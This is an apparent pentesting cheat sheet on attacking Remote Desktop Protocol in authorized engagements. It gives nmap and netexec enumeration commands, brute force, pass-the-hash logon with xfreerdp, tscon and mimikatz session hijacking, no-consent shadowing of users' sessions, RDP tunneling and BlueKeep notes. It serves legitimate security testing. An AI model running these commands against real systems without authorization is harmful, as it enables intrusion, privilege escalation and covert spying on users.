Testing the Remote Desktop Protocol (RDP, 3389/tcp ms-wbt-server) during authorized engagements. Covers encryption/NLA fingerprinting and NTLM info with nmap NSE, credential validation and pre/post-auth screenshots with netexec, password brute force (mindful of lockout), pass-the-hash logon with xfreerdp, session hijacking via tscon, RDS shadowing, RDP tunneling, and BlueKeep (CVE-2019-0708) / MS12-020 awareness.
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Testing the Remote Desktop Protocol (RDP, 3389/tcp ms-wbt-server) during authorized engagements. Covers encryption/NLA fingerprinting and NTLM info with nmap NSE, credential validation and pre/post-auth screenshots with netexec, password brute force (mindful of lockout), pass-the-hash logon with xfreerdp, session hijacking via tscon, RDS shadowing, RDP tunneling, and BlueKeep (CVE-2019-0708) / MS12-020 awareness.
During authorized assessments when TCP 3389 (ms-wbt-server) is open
When fingerprinting the security layer (native RDP, TLS, CredSSP/NLA) and whether NLA is enforced
When validating recovered credentials or NT hashes against RDP
When you already hold a foothold and want to hijack or shadow an active session
When assessing for BlueKeep (CVE-2019-0708) or MS12-020 on legacy hosts
Quick Enumeration
# Encryption, DoS (MS12-020 safe check), and NTLM Windows info
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
# Security layer / NLA fingerprint
nmap --script rdp-enum-encryption -p 3389 <IP>
# netexec quick auth check (reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot (only if NLA is disabled)
nxc rdp <IP> --nla-screenshot
Critical: Checks Most Often Missed
NLA disabled โ pre-auth screenshot โ when Network Level Authentication is off, you can grab a login-screen screenshot pre-auth (nxc rdp <IP> --nla-screenshot), revealing logged-in usernames and host context.
BlueKeep (CVE-2019-0708) โ pre-auth wormable RCE on legacy Windows (7/2008 R2 and older) with NLA off. Treat as critical; only exploit with explicit written authorization (the exploit can crash/BSOD the host).
MS12-020 โ RDP DoS / RCE on older hosts. The nmap script checks for it without triggering the DoS.
Session hijacking via tscon โ with SYSTEM, you can attach to any user's existing RDP session without their password (tscon <ID> /dest:<SESSIONNAME>).
RDS shadowing โ if shadowing policy allows, view/control another user's session, sometimes without consent (mstsc /shadow:<ID> /noconsentprompt /control).
Weak / reused local admin creds + Restricted Admin โ pass-the-hash logon via xfreerdp /pth: when Restricted Admin mode is enabled.
How to CONFIRM: NLA status is confirmed by nmap --script rdp-enum-encryption and nxc rdp output. A valid credential is confirmed when nxc rdp <IP> -u u -p p shows (+)/Pwn3d!. BlueKeep candidacy is indicated by legacy OS + NLA off; confirm only via an authorized, non-destructive checker.
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
# Add yourself to the RDP group if you have admin (post-exploitation)
net localgroup "Remote Desktop Users" <user> /add
Step 4: Post-access / lateral movement (hijack, shadow, tunnel)
# Session hijacking with SYSTEM (no password needed)
query user # list sessions + IDs
tscon <ID> /dest:<SESSIONNAME> # take over a session# mimikatz alternative:# ts::sessions ; ts::remote /id:2# RDS shadowing (view/control another session)
qwinsta /server:<IP>
mstsc /v:<IP> /shadow:<SESSION_ID> /control
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt # if policy allows
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
# Pivot/tunnel TCP over an RDP virtual channel (rdp2tcp)
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
# Command exec without GUI / automation# EvilRDP, SharpRDP โ run shell/PowerShell, SOCKS proxy, clipboard, file transfer
Key Concepts
Concept
Description
RDP
Microsoft's graphical remote desktop protocol on TCP 3389
NLA (CredSSP)
Network Level Authentication; requires auth before a session is created
Security layer
Negotiated as native RDP, TLS, or CredSSP/NLA
Restricted Admin mode
Allows pass-the-hash RDP logon without sending a cleartext password
Session hijacking (tscon)
Attaching to another user's session as SYSTEM without their password
RDS shadowing
Viewing/controlling another user's active session via mstsc
BlueKeep (CVE-2019-0708)
Pre-auth wormable RCE in legacy RDP
MS12-020
RDP vulnerability allowing DoS / potential RCE on older hosts
Automated command execution and clipboard/file abuse over RDP
Common Scenarios
Scenario 1: NLA Disabled Recon
nxc rdp <IP> --nla-screenshot captures the login screen pre-auth, revealing the logged-in user and domain, which informs targeted credential attacks.
Scenario 2: Pass-the-Hash Logon
A recovered local admin NT hash works with xfreerdp /pth: because Restricted Admin mode is enabled, granting an interactive desktop without cracking the password.
Scenario 3: Session Hijacking
After gaining SYSTEM on a jump host, query user shows a Domain Admin's disconnected session; tscon <ID> /dest:rdp-tcp#0 takes it over, inheriting their privileges.
Scenario 4: BlueKeep Exposure
rdp-ntlm-info shows Windows 2008 R2 with NLA off. The host is flagged as a critical BlueKeep candidate and reported; exploitation proceeds only with written authorization on a maintenance window.
